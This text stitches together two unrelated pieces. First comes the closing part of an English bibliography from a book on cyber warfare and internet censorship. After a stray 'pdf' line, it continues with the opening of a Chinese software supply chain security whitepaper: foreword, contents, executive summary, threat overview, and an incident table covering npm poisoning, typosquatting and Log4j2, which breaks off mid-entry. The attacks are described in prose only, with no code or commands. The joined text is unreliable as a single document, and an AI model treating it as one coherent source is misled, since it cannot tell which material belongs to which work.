the Right to Free Expression,” (2000) Human Rights Watch. Graham, B. (8 Nov 1999) “Military Grappling with Guidelines for Cyber Warfare: Questions Prevented Use on Yugoslavia,” The Washington Post. Gray, D.H. & Head, A. (2009) “The importance of the internet to the post-modern terrorist and its role as a form of safe haven,” European Journal of Scientific Research 25(3) 396-404. Grossetete, P., Popoviciu, C. & Wettling, F. (2008) Global IPv6 Strategies: From Business Analysis to Operational Planning (Indianapolis: Cisco Press) 195. Hagen, S. (2002) IPv6 Essentials (CA: O’Reilly Media, Inc.) 97. Handbook for Bloggers and Cyber-Dissidents (March 2008) Reporters Without Borders: http://en.rsf.org/. Hess, P. (29 Oct 2002) “China prevented repeat cyber attack on US,” UPI. “How Users can Protect their Rights to Privacy and Anonymity,” (1999) Human Rights Watch. Hu, A.H., Hsu, C-W & Chen, S-H. (2010) “Incorporating carbon management into supplier selection in the green supply chain: Evidence from an electronics manufacturer in Taiwan.” “Human rights investigators needed to investigate crackdown on journalists,” (15 March 2011) Reporters Without Borders. Huntley, W.L. (2009) “Abandoning Disarmament? The New Nuclear Nonproliferation Paradigms,” The Challenge of Abolishing Nuclear Weapons, Krieger D. (Ed.) (New Jersey: Transaction Publishers). “International cyber exercise takes place in Tajikistan,” (6 Aug 2009) Avesta website, Dushanbe, Tajikistan (reported by BBC Monitoring Central Asia). “The Internet and Elections: The 2006 Presidential Election in Belarus (and its implications),” (April 2006) OpenNet Initiative: Internet Watch. 163 “Israel lobby group hacked,” (3 Nov 2000) BBC News. Jafari, M., Amiri, R.H. & Bourouni, A. (2008) “An Interpretive Approach to Drawing Causal Loop Diagrams,” Department of Industrial Engineering, Iran University of Science and Technology (IUST). Joch, A. (28 Aug 2006) “Terrorists brandish tech sword, too,” Federal Computer Week. Jolly, D. (31 Jul 2009) “In French Inquiry, a Glimpse at Corporate Spying,” The New York Times. Keizer, G. (11 Aug 2008) “Cyber Attacks Knock out Georgia’s Internet Presence,” Computerworld. Keizer, G. (28 Jan 2009) “Russian ‘cyber militia’ knocks Kyrgyzstan offline,” Computerworld. Kelly, J. (27 Jan 2011) “The piece of paper that fooled Hitler,” BBC News Magazine. Kennicott, P. (23 Sep 2005) “With Simple Tools, Activists in Belarus Build a Movement,” Washington Post. Kirk, J. (30 Oct 2009) “Europe moving slow on IPv6 deployment,” IDG News Service. Krekel, B. (9 Oct 2009) “Capability of the People’s Republic of China to Conduct Cyber Warfare and Computer Network Exploitation” (Northrop Grumman Corporation: prepared for The US- China Economic and Security Review Commission). Lam, F., Beekey, M., & Cayo, K. (2003) “Can you hack it?” Security Management 47(2) 83. Lawlor, M. (2004) “Information Systems See Red,” Signal 58(6) 47. Lee, J.S. (19 Nov 2001) “Companies Compete to Provide Saudi Internet Veil,” The New York Times. Lee, M. (10 May 2006) “Who is Gary McKinnon?” ABC News. Lewis, J.A. (Dec 2002) “Assessing the Risks of Cyber Terrorism, Cyber War and Other Cyber Threats,” Center for Strategic and International Studies (CSIS). Lewis, J.A. (8 Dec 2008) “Securing Cyberspace for the 44th Presidency,” Center for Strategic and International Studies (CSIS). Lewis, J.A. (11 Mar 2010) “The Cyber War Has Not Begun,” Center for Strategic and International Studies (CSIS). Libicki, M.C. (2009) “Sub Rosa Cyber War,” The Virtual Battlefield: Perspectives on Cyber Warfare, Czosseck, C. & Geers, K. (Eds) (Amsterdam: IOS Press) 53-65. Lynn, W.J. (2010) “Defending a New Domain: The Pentagon’s Cyberstrategy,” Foreign Affairs 89(5) 97-108. The Manual of the Law of Armed Conflict (2004) Section 2.2 (Military Necessity), United Kingdom: Ministry of Defence (Oxford: OUP). 164 BIBLIOGRAPHY 164 BIBLIOGRAPHY Montalbano, E. (29 Sep 2010) “White House Sets IPv6 Transition Deadlines,” InformationWeek. Markoff, J. & Kramer, A.E. (13 Dec 2009a) “In Shift, U.S. Talks to Russia on Internet Security,” The New York Times. Markoff, J. & Kramer, A.E. (27 Jun 2009b) “U.S. and Russia Differ on a Treaty for Cyberspace,” The New York Times. Matthews, J. (19 Dec 2000) “SafeWeb Doubles Usage, Blocked by Saudis,” Internetnews: www. internetnews.com. Mayor, A. (2008) Greek Fire, Poison Arrows, and Scorpion Bombs: Biological & Chemical Warfare in the Ancient World (Overlook TP). McConnell, M. (28 Feb 2010) “Mike McConnell on how to win the cyber-war we’re losing,” Washington Post. Meier, O. (2007) “The Chemical Weapons Convention at 10: An Interview with OPCW Director- General Rogelio Pfirter,” Arms Control Today 37(3) 14. Meller, P. (27 May 2008) “European Commission Urges Rapid Adoption of IPv6,” IDG News Service. Meserve, J. (26 Sep 2007) “Sources: Staged cyber attack reveals vulnerability in power grid,” Cable News Network. Milhollin, G. & Lincy, V. (29 Sep 2009) “Lifting Iran’s Nuclear Veil,” The New York Times. Miller, E. K. (1989) “The computer revolution,” IEEE Potentials 8(2) 27-31. Mishra, S. (2003) “Network Centric Warfare in the Context of Operation Iraqi Freedom,” Strategic Analysis 27(4) 546-562. Moghaddam, N.B., Sahafzadeh, M., Alavijeh, A.S., Yousefdehi, H. & Hosseini, S.H. (2010) “Strategic Environment Analysis Using DEMATEL Method Through Systematic Approach: Case Study of an Energy Research Institute in Iran,” Management Science and Engineering 4(4) 95-105. “Monthly Malware Statistics: May 2009,” (2009) Kaspersky Lab: www.kaspersky.com. Montagne, R. “Reuters Retracts Altered Beirut Photo,” (8 Aug 2006) National Public Radio: www.npr.org. “Moore’s Law,” Intel Corporation, www.intel.com/technology/mooreslaw/. Morgenthau, H.J. (1948) Politics among nations: the struggle for power and peace (A. A. Knopf) 440. Mostyn, M.M. (2000) “The need for regulating anonymous remailers,” International Review of Law, Computers & Technology 14(1) 79. 165 Nakashima, E. & Mufson, S. (19 Jan 2008) “Hackers Have Attacked Foreign Utilities, CIA Analyst Says,” Washington Post. “NATO 2020: Assured Security, Dynamic Engagement: Analysis and Recommendations of the Group of Experts on a New Strategic Concept for NATO,” (17 May 2010) NATO Public Diplomacy Division: www.nato.int. Neumann, P.G. (1998) “Protecting the Infrastructures,” Communications of the ACM 41(1) 128. Newmark, J. (2001) “Chemical warfare agents: A primer,” Military Medicine 166(12) 9. Nizza, M. & Lyons, P.J. (10 July 2008) “In an Iranian Image, a Missile Too Many,” New York Times. “The North Atlantic Treaty,” (4 April 1949) Washington D.C., NATO website: www.nato.int/. Oberdorfer Nyberg, A. (2004) “Is All Speech Local? Balancing Conflicting Free Speech Principles on the Internet,” Georgetown Law Journal 92(3) 663-689. Oppy, G. & Dowe, D. (2008) “The Turing Test,” The Stanford Encyclopedia of Philosophy (SEP): http://plato.stanford.edu/. Orr, R. (2 Aug 2007) “Computer voting machines on trial,” Knight Ridder Tribune Business News. Orton, M. (14 Jan 2009) “Air Force remains committed to unmanned aircraft systems,” United States Air Force website: www.af.mil. Orwell, G. (2003) Nineteen Eighty-Four (London: Plume). “Overview by the US-CCU of the Cyber Campaign against Georgia in August of 2008,” (Aug 2009) U.S. Cyber Consequences Unit. Pavlyuchenko, F. (2009) “Belarus in the Context of European Cyber Security,” The Virtual Battlefield: Perspectives on Cyber Warfare, Czosseck, C. & Geers, K. (Eds) (Amsterdam: IOS Press) 156-162. Research paper written in Russian, translated to English by Kenneth Geers. Page, B. (11 Nov 2000) “Pro-Palestinian Hackers Threaten AT&T,” TechWeb News. Parks, R.C. & Duggan, D.P. (5-6 June, 2001) “Principles of Cyber-warfare,” Proceedings of the 2001 IEEE Workshop on Information Assurance and Security, United States Military Academy, West Point, NY. Pendall, D.W. (2004) “Effects-Based Operations and the Exercise of National Power,” Military Review 84(1) 20-31. Piscitello, D. (11 May 2010) “Conficker Summary and Review,” ICANN. Popoviciu, C., Levy-Abegnoli, E. & Grossetete, P. (2006) Deploying IPv6 Networks (Cisco Press) 248. 166 BIBLIOGRAPHY Preimesberger, C. (2006) “Plugging Holes,” eWeek 23(35) 22. “The President’s News Conference with President Boris Yeltsin of Russia in Helsinki,” (21 Mar 1997) The American Presidency Project, UC Santa Barbara: www.presidency.ucsb.edu. Ramaswamy, V.M. (Oct 2006) “Identity-Theft Toolkit,” The CPA Journal 76(10) 66. Rarick, C.A. (Winter 1996) “Ancient Chinese advice for modern business strategists,” S.A.M. Advanced Management Journal 61(1) 42. “Regime steps up censorship and online disruption to block protests,” (15 February 2011) Reporters Without Borders. “Remarks by the President on Securing our Nation’s Cyber Infrastructure,” (29 May 2009) The White House: Office of the Press Secretary: www.whitehouse.gov. “Renumbering the net,” (10 Mar 2011) The Economist. Rona, T.P. (1976) Weapon Systems and Information War (WA: The Boeing Corporation). Rose, A. (25 Oct 1999) “China studies the art of cyber-war,” National Post. Rowland, J.B. (2002) “The role of automated detection in reducing cyber fraud,” The Journal of Equipment Lease Financing 20(1) 2. Sartori, L. (1983) “The weapons tutorial-Part five: When the bomb falls,” Bulletin of the Atomic Scientists 39(6) 40-47. Saltzer, J.H. & Schroeder, M.D. (1975) “The protection of information in computer systems,” Proceedings of the IEEE 63(9) 1278-1308. “Saudi Arabia to double number of banned sites,” (01 May 2001) The China Post. “Saudi Arabian Response and Reasoning,” Virginia Tech Department of Computer Science Digital Library, Computer Science 3604: Professionalism in Computing. Sawyer, R.D. (1994) Sun Tzu: Art of War (Oxford: Westview Press). Saydjari, O.S. (2004) “Cyber Defense: Art to Science,” Communications of the ACM 47(3) 53-57. Shimeall, T., Williams, P. & Dunlevy, C. (Winter 2001/2002) “Countering cyber war,” NATO Review 16-18. Shultz, G.P., Perry, W.J., Kissinger, H.A., & Nunn, S. (4 Jan 2007) “A World Free of Nuclear Weapons,” The Wall Street Journal. Skoudis, E. (2006) Counter Hack Reloaded: a Step-By-Step Guide to Computer Attacks and Effective Defenses (NJ: Prentice Hall) 1. “Smurf IP Denial-of-Service Attacks,” (1998) CERT Advisory CA-1998-01. SNORT Users Manual 2.9.0, (6 Jan 2011) The Snort Project. 167 “Spain, a week on: An election bombshell,” (18 Mar 2004) The Economist. Stoil, R.A. & Goldstein, J. (28 Jun 2006) “One if by Land, Two if by Modem,” The Jerusalem Post. Stöcker, C., Neumann, C. & Dörting, T. (18 Jun 2009) “Iran’s Twitter Revolution: Ahmadinejad’s Fear of the Internet,” Spiegel. “Stuxnet may be the work of state-backed hackers,” (Sep 2010) Network Security, Mansfield- Devine, S. (Ed.) 1-2. Sun Tzu. (1994) Sun Tzu on the Art of War: The Oldest Military Treatise in the World, Project Gutenberg eBook (translated in 1910 by Giles, L.) www.gutenberg.org/etext/132. Thomas, T.L. (2002) “Information Warfare in the Second (1999-Present) Chechen War: Motivator for Military Reform?” Fort Leavenworth: Foreign Military Studies Office and (2003) in Chapter 11 of Russian Military Reform 1992-2002, Frank Cass Publishers. “Tracking GhostNet: Investigating a Cyber Espionage Network,” (29 Mar 2009) Information Warfare Monitor. Tran, M. (28 Sep 2007) “Internet access cut off in Burma,” The Guardian. United States Strategic Bombing Survey: Summary Report (European War), (30 Sep 1945) United States Government Printing Office, Washington, D.C. “‘USA Today’ Website Hacked; Pranksters Mock Bush, Christianity,” (11 Jul 2002) Drudge Report. Usher, S. (17 March 2006) “Belarus stifles critical media,” BBC News. Van Creveld, M. (1987) Command in War (MA: Harvard UP). Van Riper, P.K. (2006) Planning for and Applying Military Force: an Examination of Terms (U.S. Army War College: Strategic Studies Institute). Verton, D. (2002) The Hacker Diaries: Confessions of Teenage Hackers (NY: McGraw-Hill/ Osborne). Verton, D. (2003) “Black ice,” Computerworld 37(32) 35. Verton, D. (4 Apr 1999) “Serbs Launch Cyberattack on NATO,” Federal Computer Week. Voeux, C. (2 Nov 2006) “Going online in Cuba – Internet under surveillance.” Cuba: News from and about Cuba: http://cuba.blogspot.com. Wagner, D. (9 May 2010) “White House sees no cyber attack on Wall Street,” Associated Press. Wagstaff, J. (30 Apr 2001) “The Internet could be the site of the next China-U.S. standoff,” The Wall Street Journal. 168 BIBLIOGRAPHY Waterman, S. (10 Mar 2008) “DHS stages cyberwar exercise,” UPI. Weaver, N., Paxson, V., Staniford, S. & Cunningham, R. (27 Oct 2003) “A taxonomy of computer worms,” Proceedings of the 2003 ACM Workshop on Rapid Malcode (WORM’03), Washington, DC, 11-18. Weisman, R. (13 June 2001) “California Power Grid Hack Underscores Threat to U.S.” Newsfactor. Whitaker, B. (26 Feb 2001) “Losing the Saudi cyberwar,” Guardian. Whitaker, B. (11 May 2000) “Saudis claim victory in war for control of web,” Guardian. “Yugoslavia: Serb Hackers Reportedly Disrupt U.S. Military Computer,” (28 Mar 1999) Bosnian Serb News Agency SRNA (reported by BBC Monitoring Service, 30 Mar 1999). 169
pdf
软 件 供 应 链 安 全 技 术 白 皮 书 透 视 软 件 供 应 链 , 携 手 应 对 安 全 挑 战 透视软件供应链,携手应对安全挑战 软件供应链安全 技术白皮书 软件供应链安全技术白皮书 2 关于绿盟科技 绿盟科技集团股份有限公司(以下简称绿盟科技),成立于 2000 年 4 月,总部位于北京。公司于 2014 年 1 月 29 日在深圳证券交易所 创业板上市,证券代码:300369。绿盟科技在国内设有 50 余个分支机构, 为政府、金融、运营商、能源、交通、科教文卫等行业用户与各类型企 业用户,提供全线网络安全产品、全方位安全解决方案和体系化安全运 营服务。公司在美国硅谷、日本东京、英国伦敦、新加坡及巴西圣保罗 设立海外子公司和办事处,深入开展全球业务,打造全球网络安全行业 的中国品牌。 中国网络空间新兴技术安全创新论坛, (简称“新安盟”, “CCSIA”), 在中国产学研合作促进会的指导下成立,由中国工程院方滨兴院士担任 理事长,中国科学院信息工程研究所作为秘书长单位,主要任务是应对 新兴技术及其应用给网络空间安全带来的机遇和挑战,汇聚行业内各方 力量,推动核心技术突破、产品和服务创新。 版权声明 为避免合作伙伴及客户数据泄露 , 所有数据在进行分析前都已经 过匿名化处理 , 不会在中间环节出现泄露 , 任何与客户有关的具体信息, 均不会出现在本报告中。 推荐序 软件供应链安全作为现代供应链安全的重点考虑因素之一,是保障我国新基建稳步 建设和落实网络强国战略的重要领域。软件供应链安全需要重点关注以下两点。 一是要靶向聚焦、着力剖析供应链风险产生的内部动因和运行机理。近年来,供应 链安全事件频发。随着 SDX 和低代码等技术在数字化转型浪潮的广泛应用,软件开源 组件化将成为势在必行的技术演进方向,而由于其本身的软件生产机制特征,网络安全 风险的攻击面及风险环节会呈现发散和无规则逻辑状态,因此供应链风险的内部动因和 运行机理尤其是业务数字化的内涵值得网安领域重点关注。 二是勿管中窥豹、从广义供应链安全的观测视角提出软件供应链风险对策。以供应 链所在行业为中心视角研究软件供应链安全问题是一种挑战,行业发展对象将愈发依赖 于数字化转型,原有的安全业务和业务安全范式都将被重塑。因而,以数字业务化作为 观测出发点,以广义供应链安全作为观测着力点,以软件供应链安全作为观测落脚点, 各行各业对网络安全产业的保驾护航定位将会更加明确。 作为业界领先的网安代表性企业,在新安盟指导下,绿盟主持撰写的软件供应链安 全白皮书将带来一个崭新的全景视角,具有积极的借鉴价值,为网安行业的政产学研用 健康生态如何推动提供有意义的模式示范。 中国科学院大学教授 翟立东 CONTENTS 执行摘要 001 1ᅠ软件供应链安全威胁与趋势 003 1.1 软件供应链面临的安全威胁 004 1.2 软件供应链攻击的发展趋势 007 2ᅠ供应链安全国内外形势 010 2.1 国内外供应链安全政策与发展 011 2.2 国内外供应链安全标准与实践 015 3ᅠ软件供应链安全技术框架 019 3.1 软件供应链安全 020 3.2 软件供应链安全理念 021 3.3 软件供应链安全技术框架 027 4ᅠ软件供应链安全关键技术 028 4.1 软件成分清单生成及使用技术 029 4.2 软件供应链安全检测技术 039 4.3 软件供应链数据安全技术 054 5ᅠ软件供应链安全解决方案 058 5.1 供应链安全监督 059 5.2 供应链安全管控 067 6ᅠ行业、企业最佳实践 080 6.1 银行业金融机构信息科技外包安全实践 081 6.2 交通运输企业供应链安全监督检查实践 082 7ᅠ典型供应链攻击案例复盘 085 7.1 IT 管理供应商 SolarWinds 供应链攻击事件 086 7.2 开源软件安全风险 Log4j2 漏洞事件 088 8ᅠ软件供应链安全总结与展望 091 附表:软件供应链安全风险表 093 软件供应链安全技术白皮书 001 执行摘要 习近平总书记在二十国集团领导人第十六次峰会第一阶段会议发表的重要讲话中强调: “要维护产业链供应链安全稳定,畅通世界经济运行脉络。” 作为世界第二大经济体,我国在世界局势不断变化的今天依靠自身供应链韧性保持了强 有力的经济增长与制造业产业转型升级持续稳步推进。信息和通信技术(Information and Communications Technology,简称 ICT)供应商、第三方供应商、集成服务企业和服务提 供商共同组成的 ICT 产业链承担着我国产业从工业化向数字化转型升级的重要任务。2018 年 以来,中兴、华为、大疆等一系列事件,暴露出我国 ICT 产业链上游核心技术受制于人的问题, 缺乏核心技术使我国网络安全与信息化建设存在巨大的风险与阻碍。尤其在近期俄乌冲突期 间,西方社会对俄罗斯进行了全方位的制裁,同时将 ICT 供应链制裁上升到了战略层面对俄 罗斯进行打击,这一行为也为我国敲响了警钟。软件供应链作为 ICT 供应链的重要组成部分, 是各类关键信息基础设施平稳运行的重要基础,其关键组件的设计、开发、部署、监控和持 续运营等生命周期核心环节供给过程的安全可控成为网络安全的关键考量因素。 绿盟科技推出软件供应链安全技术白皮书,旨在从软件供应链安全威胁与国内外形势来 梳理软件供应链中存在的安全问题,提炼出软件供应链安全治理的核心理念、技术框架、关 键技术,并从供应链安全监管和控制方面给出解决方案和最佳实践,期望为读者带来全新的 技术思考,助力我国软件产业发展。本技术白皮书的主要观点如下: 观点 1: 软件供应链威胁存在于软件供应链的全生命周期中,攻击的手段和实施的途径相较 其他攻击技术手段更加多元化,且难以防范。近几年软件供应链攻击安全事件激增, 软件供应链攻击已经成为重要的突破手段,其中利用开源社区、公共开源存储仓库 这类开源软件生态入侵事件尤为严重。开源软件供应链安全不可忽视,其重要性日 渐凸显。 观点 2: 近年来,政府在供应链安全领域发挥着越来越重要的影响,但除积极方面之外,以 美国为首的部分发达国家政府在其中注入了过多地缘政治因素的考量,甚至将其制 定相关法规的权力作为国际竞争的工具,使其风险从通常意义上的网络安全风险上 升为供应链断供风险。另一方面,面对发达国家以法令出台、贸易制裁、技术出口 等手段带来的供应链跨境安全管控风险,中国、俄罗斯等国家立足国情,集中优势 资源开展核心技术攻关,提升自研自制能力,补齐短板、发展优势能力,加强对供 应链产品和服务的安全审查,逐步建立和完善供应链安全风险管理体系。 002 执行摘要 观点 3: 为应对软件供应链的威胁,上游企业需要构建自身产品的软件成分清单来梳理软件 供应链信息,向下游企业和用户清晰、透明的提供管理软件供应链所需要的基础条件。 软件成分清单依据识别成分的粒度,可以分为不透明、微透明、半透明和透明几个 阶段。透明程度高的软件成分清单,能显著提升最终用户进行软件供应链安全评估 的准确性。 观点 4: 软件供应链安全包括整个软件的开发生命周期,在开发阶段漏洞的引入不止在代码 编写阶段,还有所依赖的开源组件、开发和构建工具等,依照软件的开发和构建过程, 企业需要建设开发过程安全评估能力。在软件交付阶段,作为供应商,除保证交付 软件安全外,也应将软件成分清单一并交付给下游企业,促使整个软件供应链的上 下游都具备依据安全通报、威胁情报监控等第三方信息能够分析、评估软件供应链 安全的基本条件。供应链软件产品交付运行后,供应商应在产品的生命周期内提供 安全保障服务,对产品漏洞及时修复,最终用户也应根据供应商所提供的软件成分 清单纳入企业资产管理范围,定期对资产进行安全评估,结合漏洞预警,对受影响 的产品进行加固和修复。 观点 5: 软件供应链风险贯穿了产品的整个生命周期,结合近年来所发生的供应链攻击和入 侵事件,我们需要从监管层面加强供应链产品安全认证管理,提供企业软件 SBOM 托管和可信认证服务,企业也需要完善供应链资产管理和安全检查,可借助 SBOM 知识图谱理清企业供应链依赖关系,从而在监测到预警时能够从容应对。 观点 6: 软件供应链在不断的技术迭代与产业发展中逐渐形成了包含复杂技术体系、多元产 品组件及各路开发者、供应者与消费者为一体的庞大产业生态,大量新技术的引入 令软件风险防护范围从个体层面提升至供应链层面,安全视角发生了重大变化。整 个软件供应链缺乏有效的统筹与管理,将安全建设寄托于技术人员的自我道德约束 无疑是一种“赌博”。我们急需建立供应链安全管理机制,杜绝“自我约束”的无 监管行为。通过政策引导与配套法律建设保证软件供应链安全能够牢牢的把握在中 国人自己手中,形成可信的软件供应链体系,真正造福社会。 1 软件供应链安全威胁与趋势 004 软件供应链安全威胁与趋势 1.1 软件供应链面临的安全威胁 经济全球化发展给企业发展带来了更多机遇和成长,基于价值链的实现,促进了供应链 的全球化,多样化和复杂化,同时如何管理供应链的问题给企业带来了更大的挑战和威胁。 软件供应链涉及环节复杂,流程和链条长,供应商众多,暴露给攻击者的攻击面越来越多, 攻击者利用供应链环节的薄弱点作为攻击窗口,供应链的各个环节都有可能成为攻击者的攻 击入口。既有传统意义上供应商到消费者之间供应链条中信息流的问题,也有系统和业务漏 洞、非后门植入、软件预装,甚至是更高级的供应链预制问题。 从软件供应链全生命周期考虑,可以简单分为上游安全、开发安全、交付安全、使用安 全和下游安全,安全威胁存在于软件供应链的全生命周期中。 一、软件供应链上游安全 为实现业务需求的独特性,很多公司需要根据业务需求开发定制化软件或者使用云服务 产品,可能会使用软件供应商或者云服务提供商的产品,那么公司对于上游企业面临的风险 是否有考虑到呢?比如采购上游企业的软件产品,软件供应商是否能保证对软件使用的核心 组件可信且组成清晰,在爆发软件内部漏洞的事情下,具备快速的定位组件风险的能力。软 件在面临外部攻击风险时,是否具备一定的抗攻击能力,至少不会漏洞百出。不管是内部漏 洞还是外部攻击,软件供应商是否有能力快速定位到漏洞,及时评估漏洞、代码的风险,能 提供持续的更新能力。上游企业安全评估能力强,那么将更好的预防风险发生,安全评估能 力弱,随之而来的存在脆弱性风险的可能也将增加。尤其关键数据泄露是重中之重,关注上 游软件评估中关键数据的权限范围、证书管理等能力,成为企业选择上游企业的关键因素。 当然也应当保证软件供应链的持续性,不能因为软件产品中组件或者环境因素,影响业务, 比如云服务商的 SaaS、PaaS 等服务的中断可能性。 在上游软件供应链安全中,另一大安全风险是开源安全。开源软件的使用,一定程度上 推动了技术的发展,提高了创新的可能性,但是另一方面,国际环境的复杂性,开源软件又 具备代码公开、易获取和可重用的特点,使开源软件面临更大的风险,比如开源组件、框架 的漏洞、缺陷逐渐增加,且开源软件分布在各大社区,使用范围略广,然而漏洞信息却不能 及时被官方收录,使得漏洞的跟踪能力和整改能力降低,上游企业是否具备管控开源软件的 能力呢?除此之外,开源软件隐形依赖关系使不同开源软件之间存在合规性和兼容性风险, 从而引发知识产权风险,且隐形依赖关系增加了漏洞发现、修复的难度,为保障开源组件、 软件供应链安全技术白皮书 005 框架的稳健性,将提高其维护、修复和应对能力。 如果没有提前考虑到采购前的风险点以及应对能力,那么很可能,在爆发软件攻击或者 漏洞的情况下,不能快速定位软件风险点,及时遏制住风险的扩散,快速的更新软件问题, 那么影响的将会是使用此软件的所有客户企业群体,带来的更加直观的损失将会是小到影响 业务正常运行,大到财务损失,更甚者是客户企业的存亡问题。 二、软件供应链开发安全 在软件开发过程中,如果开发者为了提高工作效率,并没有在设计之初将安全考虑在内, 将导致后期安全问题的出现,增加整改的成本和难度。从安全角度考虑软件开发阶段简单分 为开发环境安全、开发过程安全和编译构建安全三个阶段。 在软件开发阶段,需要借助提前准备的工具进行编程实现业务功能,作为开发过程的一 个重要环境,如何选择开发工具将尤为重要,一旦开发工具遭到污染,使用了不安全的开发 工具,那么开发完成的软件很大可能性同样存在安全风险。此外,开发环境以及 CI/CD 集成 环境遭到污染,都有可能导致代码存在被篡改、恶意植入等风险问题,甚至可能导致整个编 程环境存在安全风险。即使开发工具和环境不存在污染,那么完成开发部分的源代码同样需 要确保其托管平台和代码存储平台未受到污染,否则恶意人员很可能通过托管平台或者代码 存储平台对代码进行篡改以及恶意植入。 在确保开发环境安全的情况下,开发过程也可能引入安全威胁,开发者由于工期紧、任 务重等原因,更偏重于功能开发,不规范的安全开发引入不可预测的安全风险。开发人员在 开发过程中,不可避免的会借用网上现成的代码,既是学习成长的过程,也是提高工作效率 的一种方式,但是对于开发功底不深厚、经验不够丰富的学习者来说,如果更注重功能的实现, 而不具备识别和判定代码安全性问题的能力,就会在代码来源的安全性,代码内部逻辑的安 全性以及在版本修订、剪裁和迭代中引入更多安全问题,内部漏洞、缺陷也将增加,这种 行为会在后续软件实现中埋下一个定时炸弹,同时在开发过程中也将涉及到开源组件引入 风险问题。 完成开发后,进入编译构建阶段,编译工具的不安全将导致可能植入后门。各大互联网 公司在企业内部自建包管理工具用于存放自研软件包,若员工安装自研软件包时没有制定仅 企业内部下载,就可能遭到包抢注攻击,以及开发者在使用过程中,生产配置文件引用了官 方源不存在的包等问题。 006 软件供应链安全威胁与趋势 三、软件供应链交付安全 目前很多企业软件开发大多数采用第三方供应商软件再开发方式,购买第三方软件的基 础架构,再根据企业情况进行定制化的开发调整。源代码共享的情况下,源代码安全成为了 双方共同的安全责任。但是一般情况下,企业更加注重本身对于源代码的保管安全,考虑到 源代码的访问安全、物理环境安全、网络安全等因素,并做好充分的保护措施。但企业很少 会对第三方保管的源代码提出管理要求。而软件供应商相对注重代码功能的交付,对于源代 码的保管安全意识较为薄弱。比如办公环境和源代码存在于同一区域,网络环境内缺乏安全 防护设备,未严格限制源代码的访问控制等问题普遍存在。不管是监管机构还是企业客户, 均未对第三方源代码安全提出管理要求,导致第三方源代码安全成为盲区。 交付过程中,除了源代码安全,也应扩大交付范围管控,如果交付的软件未经过编译或 者编译信息泄露,那么也将导致源代码不安全性增加,使攻击者能更轻松的获取源代码,通 过篡改、植入等技术手段破坏软件的安全性,达到获利的目的。软件的正常使用,还涉及到 证书、私钥的管理泄露风险。如果不能确保基础环境的可信,证书、密钥的泄露将更加便利 攻击者的入侵。 完成基础交付准备工作,需要将软件安全以及维护后续安全更新途径传递到企业手中。 2022 年央视“3·15”晚会对软件捆绑的互联网乱象进行了曝光,发现软件捆绑下载情况相 当严重,一旦用户在这些网站下载安装软件就会“中招”,用户下载一个软件,实际上明里 暗里的却被安装了数个捆绑软件,导致电脑运行速度明显下降,电脑安全风险大大增加。另 外除了捆绑下载问题,安全问题也频繁出现,需要对维护软件进行频繁的升级、更新。升级、 更新途径可能存在劫持风险,导致更新包早已被篡改、恶意植入。 四、软件供应链使用安全 软件在使用过程中,不可避免的会发生突发信息安全事件问题,比如 0DAY 的出现,或 者其他软件病毒类安全事件,如不能快速发现、应对和处置,将会给企业带来严重的威胁, 甚至带来财务损失。软件供应商是否能及时配合企业完成信息安全事件的排查和修复过程至 关重要。 软件使用过程中,依赖于网络基础设施安全或者云平台安全,基础设施面临恶意攻击、 自然灾害破坏引发的连锁反应可能造成跨部门大面积基础设施受损,并引发服务中断,给业 务正常运行带来威胁。企业应确保网络基础设施符合国家监管政策要求,履行网络基础设施 建设和维护职责。 软件供应链安全技术白皮书 007 五、软件供应链下游安全 供应链下游主要为营销、服务、品牌等活动,供应链下游的信息将成为上游信息的重要 输入信息,但是供应链的各阶段环节由多家供应商参与,企业之间需求信息相对保守,信息 从下游向上游需求放大传递时,就出现了“牛鞭效应”。“牛鞭效应”使得信息被扭曲、放大, 无法实时有效的传递,而企业的需求信息决策取决于相关反馈数据输入,供应链环节越多, 供应链越长,那么传递信息的失真性越严重,供应链效率就越低。 在供应链下游也同样存在上游的问题,比如下游采用独家供应商,下游对接的供应商自 身管理水平、企业文化、经营模式和财务状况等存在差异性。企业对上游和下游的管理同样 重要。 1.2 软件供应链攻击的发展趋势 1.2.1 软件供应链攻击事件持续高发 相较于传统安全威胁,供应链威胁的影响力具有扩散性,上游产品的漏洞会影响下游所 有角色,引起安全风险的连锁传递,导致受攻击面不断扩大。近年来发生了多起影响力较大 的供应链攻击事件,涉及开源组件、公开代码存储库、云安全 CI/CD 平台等方面。 表 1.1 软件供应链攻击事件 时间 关键词 备注 2022.05 开源组件 以依赖混淆的攻击方式在一系列恶意 NPM 软件包插入后门代码,针对德国的重要媒体、 物流和工业公司发起攻击。研究者认为本次攻击有很强的针对性,并且依赖难于取得 的内幕信息。 一家名为 Code White 的德国渗透测试公司申请为此事件负责,并补充说这是“为专门 的客户模仿现实的威胁行为者”的尝试。 2022.03 开源组件 继百万周下载量的 npm 包“ node-ipc ”以反战为名进行供应链投毒后,又一位开发 者在代码中加入反战元素。3 月 17 日,俄罗斯开发人员 Viktor Mukhachev 在其流行 的 npm 库“event-source- polyfill”中添加了一段反战代码。这段在 1.0.26 版本中引 入的代码意味着:使用该库构建的应用程序,将在启动 15 秒后向俄罗斯用户显示反 战消息。 2022.03 开源组件 攻击者在 npm 仓库中利用 typosquatting 的方式,注册一系列包含恶意代码的重名组 件包,对 azure 开发者进行供应链攻击。 2022.03 开源组件、代码注入 node-ipc 是使用广泛的 npm 开源组件,其作者出于其个人政治立场在该项目的代码仓 库中进行投毒,添加的恶意 js 文件会在用户桌面创建反战标语。根据进一步的深挖, 该作者还曾加入将俄罗斯与白俄罗斯区域用户数据抹除的恶意代码。Unity Hub 、vue- cli 等应用广泛的第三方软件受到该事件影响。 2022.01 开源组件、代码注入 使用众多的 npm 软件包 faker.js 与 color.js 的主要开发者 Marak Squires 因生活窘迫, 维护项目不得回报等原因,删除所有 github 代码,并向 npm 仓库推送包含恶搞功能的 更新(打印乱码),包括 aws-cdk 在内的众多应用受到影响引发对开源生态,开源项 目维护者角色回报的激烈讨论。 008 软件供应链安全威胁与趋势 时间 关键词 备注 2021.12 开源组件、软件漏洞 Apache Log4j2 是一个开源基础日志库,是对 Log4j 组件的升级,被广泛用于开发、测 试和生产。该开源项目支持属性查找,并能够将各种属性替换到日志中。用户可以通 过 JNDI 检索变量,但是由于未对查询地址做好过滤,存在 JNDI 注入漏洞。Log4j2 应 用极其广泛,影响范围极大,同时随着供应链环节增多、软件结构愈加复杂,上述漏 洞也更加难以发现、修复(尤其是间接使用到该组件的项目)。目前常见攻击形式有 勒索、挖矿、僵尸网络(以及 DDOS)。 2021.09 云安全 Microsoft 的 Azure 